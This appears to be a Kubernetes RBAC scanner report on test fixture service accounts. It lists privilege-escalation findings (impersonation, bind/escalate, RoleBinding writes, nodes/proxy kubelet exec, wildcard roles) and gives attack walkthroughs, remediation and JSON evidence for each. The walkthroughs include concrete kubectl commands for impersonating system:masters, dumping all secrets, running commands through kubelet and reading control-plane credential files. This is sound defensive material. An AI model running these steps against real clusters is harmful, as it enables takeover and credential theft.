ServiceAccount/vulnerable/privileged-reader can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-readertoken_mint
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/vulnerable/privileged-readerServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/vulnerable/privileged-reader chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/privesc-fixtures/sa-secret-mint).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/privesc-fixtures/sa-secret-mint).
  3. Re-run the scanner to confirm the path no longer resolves.

RBAC

38 findings · 20 rules · 8 critical · 27 high · 2 medium · 1 low
CRITICAL

Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate

KUBE-PRIVESC-008 1 subject Score 10.0
MITRE ATT&CK: T1078T1078.004T1550T1134

Affected subject

CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 10.0
Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: RBACRule/cr-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has the impersonate verb on users/groups/serviceaccounts via ClusterRoleBinding crb-impersonate → ClusterRole cr-impersonate. Cluster-wide: applies to every current and future namespace.

Kubernetes' impersonation lets a request set Impersonate-User/Impersonate-Group headers (or kubectl --as) so the API server processes the request as a different identity. The Kubernetes project flags this in RBAC Good Practices as one of three verbs (alongside bind and escalate) that override normal RBAC limits.

Most damaging is the ability to impersonate the system:masters group, which is hardcoded inside kube-apiserver to bypass RBAC entirely. There is no Role or RoleBinding that grants system:masters membership; the apiserver simply trusts the assertion. kubectl --as=admin --as-group=system:masters get secrets -A runs as cluster-admin, full stop. Impersonation is also stealthier than a binding change because audit logs show user.username as the original subject.

Impact Act as any user/group/ServiceAccount in Cluster-wide; impersonating system:masters bypasses all RBAC checks irrevocably.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC impersonation

Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

  1. Attacker confirms the verb with kubectl auth can-i impersonate users --as=sa-impersonate -A.
  2. They run kubectl --as=admin --as-group=system:masters get clusterrolebindings to confirm system:masters impersonation succeeds.
  3. They impersonate the highest-privileged ServiceAccount they can find (e.g. system:serviceaccount:kube-system:clusterrole-aggregation-controller) and exfiltrate Secrets cluster-wide.
  4. They establish persistence by creating a benign-looking ClusterRoleBinding via the impersonated identity (audit logs blame the impersonated SA, not the attacker).
  5. They optionally add their own user to a privileged group via OIDC group claims, providing identity-layer persistence that survives RBAC remediation.
Remediation
Remove impersonate entirely; if a SaaS console truly needs it, gate on resourceNames and never grant it on groups.
  1. Remove impersonate on users, groups, and serviceaccounts. The vast majority of workloads have no need for impersonation.
  2. If impersonation is genuinely required, scope to users only (not groups, and never allow system:masters), use resourceNames to allow only specific identities, and never grant cluster-wide.
  3. Enable Impersonate-* audit policy at Metadata level minimum so every impersonated request is logged with the original caller. SIEM-alert on impersonation of any system: user or group.
  4. Verify with kubectl auth can-i impersonate '*' --as=sa-impersonate -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcesgroups
Verbsimpersonate
impersonate: Act as any user, group, or ServiceAccount
Source rolecr-impersonate
Inspect: kubectl get clusterrole cr-impersonate -o yaml
Source bindingcrb-impersonate
Inspect: kubectl get clusterrolebinding crb-impersonate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "groups"
  ],
  "scope": "cluster",
  "source_binding": "crb-impersonate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-impersonate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "impersonate"
  ]
}
CRITICAL

Cluster-wide bind/escalate on roles bypasses RBAC

KUBE-PRIVESC-009 1 subject Score 10.0
MITRE ATT&CK: T1098T1078.004T1548

Affected subject

CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-bind-escalate Resource: RBACRule/cr-bind-escalate

Subject ServiceAccount/rbac-fixtures/sa-bind-escalate has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding crb-bind-escalate → ClusterRole cr-bind-escalate. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A and kubectl auth can-i escalate roles --as=sa-bind-escalate -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolesclusterroles
roles: Namespace-scoped RBAC rules
clusterroles: Cluster-scoped RBAC rules
Verbsbindescalate
bind: Bind any role to any subject
escalate: Grant rules beyond the caller's own permissions
Source rolecr-bind-escalate
Inspect: kubectl get clusterrole cr-bind-escalate -o yaml
Source bindingcrb-bind-escalate
Inspect: kubectl get clusterrolebinding crb-bind-escalate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resources": [
    "roles",
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "crb-bind-escalate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-bind-escalate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind",
    "escalate"
  ]
}
CRITICAL

Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path

KUBE-PRIVESC-010 2 subjects Score 10.0
MITRE ATT&CK: T1098T1078.004T1548

Affected subjects (2)

CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Cluster 10.0
Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Resource: RBACRule/cr-rolebinding-mutate

Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can create/update/patch rolebindings/clusterrolebindings via ClusterRoleBinding crb-rolebinding-mutate → ClusterRole cr-rolebinding-mutate. Cluster-wide: applies to every current and future namespace.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A and kubectl auth can-i --list --as=sa-rolebinding-mutate -A.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindingsclusterrolebindings
rolebindings: Namespace-scoped RBAC grants
clusterrolebindings: Cluster-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-rolebinding-mutate
Inspect: kubectl get clusterrole cr-rolebinding-mutate -o yaml
Source bindingcrb-rolebinding-mutate
Inspect: kubectl get clusterrolebinding crb-rolebinding-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resources": [
    "rolebindings",
    "clusterrolebindings"
  ],
  "scope": "cluster",
  "source_binding": "crb-rolebinding-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-rolebinding-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Namespace 10.0
Namespace rbac-ns-fixtures only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
Scope · Namespace Namespace rbac-ns-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Resource: RBACRule/rbac-ns-fixtures/r-ns-rolebinding-mutate

Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can create/update/patch rolebindings/clusterrolebindings via RoleBinding rbac-ns-fixtures/rb-ns-rolebinding-mutate → Role rbac-ns-fixtures/r-ns-rolebinding-mutate. Namespace rbac-ns-fixtures only.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures and kubectl auth can-i --list --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures returning no.
Evidence
ScopeNamespace
Namespacerbac-ns-fixtures
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindings
rolebindings: Namespace-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source roler-ns-rolebinding-mutate
Inspect: kubectl get role r-ns-rolebinding-mutate -n rbac-ns-fixtures -o yaml
Source bindingrb-ns-rolebinding-mutate
Inspect: kubectl get rolebinding rb-ns-rolebinding-mutate -n rbac-ns-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "rbac-ns-fixtures",
  "resources": [
    "rolebindings"
  ],
  "scope": "namespace",
  "source_binding": "rb-ns-rolebinding-mutate",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-ns-rolebinding-mutate",
  "source_role_kind": "Role",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL

get nodes/proxy enables kubelet exec via API server

KUBE-PRIVESC-012 1 subject Score 10.0
MITRE ATT&CK: T1609T1611T1078.004T1610

Affected subject

CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 10.0
get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy)
Scope · Cluster Cluster-wide kubelet API on every node (nodes is cluster-scoped)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy Resource: RBACRule/cr-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy can get nodes/proxy via ClusterRoleBinding crb-nodes-proxy → ClusterRole cr-nodes-proxy. Despite the read-only-sounding get verb, this permission lets the holder execute arbitrary commands inside any pod on any node by tunneling through the API server to the kubelet's internal HTTP API: /exec, /run, /attach, /portforward.

The technical root cause: pod exec uses an HTTP-to-WebSocket upgrade. The API server authorizes the upgrade based on the initial GET against the proxy subresource, not against pods/exec. So a subject with get nodes/proxy can issue kubectl get --raw '/api/v1/nodes/<node>/proxy/exec/...' and end up with an interactive shell in any container, even with no pods/exec permission anywhere.

Worse, the resulting commands execute over a direct API-server-to-kubelet WebSocket and are NOT recorded in apiserver audit logs at the objectRef/verb granularity. The audit log shows only the proxy GET. Detection requires node-level eBPF/process monitoring (Falco, Tetragon, KubeArmor), not API-server logs alone. Kubernetes issue #119640 and Stream Security have published proof-of-concept exploits.

Impact Cluster-wide remote code execution: exec into any container on any node via the kubelet API, with execution invisible to standard apiserver audit logs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
Techniquenodes/proxy → kubelet API

The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

  1. Attacker confirms the verb with kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A.
  2. They list nodes (kubectl get nodes) and pick a high-value one, typically a control-plane node or any node hosting kube-apiserver/etcd/operator pods.
  3. They issue an exec request via the proxy endpoint, e.g. kubectl get --raw '/api/v1/nodes/<node>/proxy/run/kube-system/<pod>/<container>?cmd=id', or open a WebSocket to /exec.
  4. They land in the target container with that container's privileges (host-mounts, capabilities, ServiceAccount token).
  5. From a control-plane container they read /etc/kubernetes/pki/admin.conf for cluster-admin credentials. The entire chain leaves no pods/exec audit entries.
Remediation
Remove nodes/proxy from this subject; reserve it for the API server itself and a tiny set of trusted operators that document this need.
  1. Remove the rule entirely. Application workloads never need nodes/proxy; Kubernetes documents this as a 'severe escalation hazard' in RBAC Good Practices.
  2. If a monitoring/observability stack genuinely requires it, migrate to the nodes/metrics and nodes/stats subresources, which expose telemetry without the exec endpoints.
  3. Deploy node-level runtime monitoring (Falco, Tetragon, KubeArmor) to detect kubelet /exec, /run, /attach usage at the kernel level.
  4. Verify with kubectl auth can-i get nodes/proxy --as=sa-nodes-proxy -A returning no. Test the high-impact case with kubectl get --raw '/api/v1/nodes/<node>/proxy/run/...' returning 403.
Evidence
ScopeCluster
API groupscore/v1
Resourcesnodes/proxy
nodes/proxy: Direct kubelet access (bypasses API server authz)
Verbsget
Source rolecr-nodes-proxy
Inspect: kubectl get clusterrole cr-nodes-proxy -o yaml
Source bindingcrb-nodes-proxy
Inspect: kubectl get clusterrolebinding crb-nodes-proxy -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resources": [
    "nodes/proxy"
  ],
  "scope": "cluster",
  "source_binding": "crb-nodes-proxy",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-nodes-proxy",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get"
  ]
}
CRITICAL

Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin

KUBE-PRIVESC-017 2 subjects Score 10.0

Affected subjects (2)

CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

RBAC rule from ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin grants * verbs on * resources in * apiGroups to ServiceAccount/rbac-fixtures/sa-cluster-admin. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

In a typical attack, an adversary who reaches a workload bound to this rule has full control: they read every Secret, create privileged pods on any node, bind themselves to additional ClusterRoles, and persist by minting long-lived tokens via the TokenRequest API. There is no further escalation needed. The box is already at the top.

Impact Full control over Cluster-wide: read/write every Secret, RBAC, Pod, Node; equivalent to cluster-admin when cluster-scoped.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueWildcard verbs × wildcard resources

An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

  1. Attacker compromises a workload that resolves to ServiceAccount/rbac-fixtures/sa-cluster-admin (vulnerable container image, supply-chain backdoor, or stolen kubeconfig).
  2. They run kubectl auth can-i '*' '*' --as=sa-cluster-admin -A and confirm wildcard permissions.
  3. They list every Secret in scope (kubectl get secrets -A -o yaml) to harvest cloud-provider credentials, registry pull secrets, and other ServiceAccount tokens.
  4. They create a privileged DaemonSet that mounts the host filesystem and reads /etc/kubernetes/pki/* to steal the cluster CA.
  5. They establish persistence by minting a long-lived token for clusterrole-aggregation-controller via the TokenRequest API, then optionally remove their original binding to evade detection.
Remediation
Replace the wildcard rule with an explicit allowlist of (apiGroups, resources, verbs) limited to what the workload actually calls.
  1. Inventory what ServiceAccount/rbac-fixtures/sa-cluster-admin actually needs. Run kubectl auth can-i --list --as=sa-cluster-admin -A and correlate with audit logs filtered on user.username.
  2. Author a least-privilege Role/ClusterRole listing only those (apiGroups, resources, verbs); drop every wildcard. Prefer namespace-scoped Role+RoleBinding over ClusterRole+ClusterRoleBinding wherever possible.
  3. Apply the new binding, delete the wildcard binding ClusterRoleBinding crb-cluster-admin, and verify with kubectl auth can-i '*' '*' --as=sa-cluster-admin -A returning no.
  4. Add a ValidatingAdmissionPolicy (or Kyverno/OPA Gatekeeper rule) that rejects any future Role/ClusterRole containing * in verbs, resources, or apiGroups.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-wildcard
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

RBAC rule from ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard grants * verbs on * resources in * apiGroups to ServiceAccount/rbac-fixtures/sa-wildcard. Cluster-wide: applies to every current and future namespace.

Wildcards are dangerous beyond their current expansion: any resource type added later (CRDs, new core subresources, future verbs) is automatically granted to this subject without anyone reviewing the change. The Kubernetes project explicitly flags this in RBAC Good Practices as an anti-pattern.

